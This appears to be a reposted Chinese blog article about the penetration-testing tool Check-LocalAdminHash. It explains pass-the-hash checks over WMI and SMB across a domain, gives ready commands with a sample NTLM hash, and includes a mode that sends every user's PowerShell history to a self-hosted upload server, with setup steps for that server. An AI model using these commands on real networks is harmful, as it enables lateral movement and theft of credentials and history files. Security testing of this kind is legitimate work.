PowerShell哈希验证与历史记录渗透技术解析

Check-LocalAdminHash & 渗透所有PowerShell历史记录

作者:Beau Bullock

TL;DR

Check-LocalAdminHash是一款新型PowerShell脚本,可针对多台主机验证密码哈希是否为有效的管理员凭证,并能够从该凭证具有管理员权限的所有系统中提取每个配置文件下的所有PowerShell PSReadline控制台历史记录文件。

获取地址:https://github.com/dafthack/Check-LocalAdminHash

历史记录收集需求

在最近的一次评估中,我需要收集网络中所有系统的PowerShell控制台历史记录文件(PSReadline)。PSReadline控制台历史记录本质上是PowerShell版本的bash历史记录。自PowerShell 5版本起,所有在PowerShell终端中输入的内容都会被记录到磁盘文件中,可能包含密码等敏感信息。

技术挑战与环境限制

该环境中存在广泛使用的本地管理员哈希凭证(无明文密码),同时部署了多种安全工具:多个EDR和行为分析产品、应用程序白名单、多因素认证保护的RDP,且目标主机的SMB协议不可访问。唯一可用的协议是Windows管理规范(WMI)。

技术方案实现

通过组合多种现有工具实现功能:

  1. 使用PowerView模块获取域中所有计算机列表
  2. 利用Kevin Robertson的Invoke-TheHash工具进行哈希传递认证
  3. 通过Invoke-WMIExec连接每个主机并执行编码的PowerShell命令
  4. 发现系统所有配置文件中的PSReadline文件后,通过POST请求发送到可控Web服务器

Check-LocalAdminHash功能特性

该脚本可作为独立工具验证密码哈希在网络中的管理员权限分布,支持:

  • WMI和SMB协议认证
  • CIDR格式、列表格式或单机目标指定
  • 域主机自动枚举功能

示例命令

通过WMI验证本地管理员哈希

Check-LocalAdminHash -Domain testdomain.local -UserDomain testdomain.local -Username PossibleAdminUser -PasswordHash E62830DAED8DBEA4ACD0B99D682946BB -AllSystems

渗透所有PSReadline历史记录文件

Check-LocalAdminHash -Domain testdomain.local -UserDomain testdomain.local -Username PossibleAdminUser -PasswordHash E62830DAED8DBEA4ACD0B99D682946BB -AllSystems -ExfilPSReadline

PSReadline渗透服务器搭建

安全警告:需设置面向互联网的文件上传服务器,建议采取严格防火墙限制和HTTPS加密传输。

搭建步骤:

  1. 部署可HTTP/HTTPS访问的Web服务器
  2. 将index.php脚本放置到Web根目录(/var/www/html)
  3. 创建上传目录并设置权限:
    mkdir /var/www/html/uploads
    chmod 0777 /var/www/html/uploads
    
  4. 安装PHP并重启Apache:
    apt-get install php
    service apache2 restart
    
  5. 在Check-LocalAdminHash.ps1脚本中修改$Url变量指向服务器index.php页面

技术实现原理

该工具整合了PowerView的域枚举功能和Invoke-TheHash的哈希传递认证技术,95%代码基于这两个工具开发。支持多线程操作,可通过修改文件发现模块实现其他功能扩展。

致谢

  • Kevin Robertson的Invoke-TheHash工具
  • Will Schroeder和Matt Graeber等人的PowerView工具
  • Steve Borosh提供的多线程技术支持

相关项目

  • Invoke-TheHash:https://github.com/Kevin-Robertson/Invoke-TheHash
  • PowerView:https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/dev/Recon/PowerView.ps1
    更多精彩内容 请关注我的个人公众号 公众号(办公AI智能小助手)
    公众号二维码
    外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值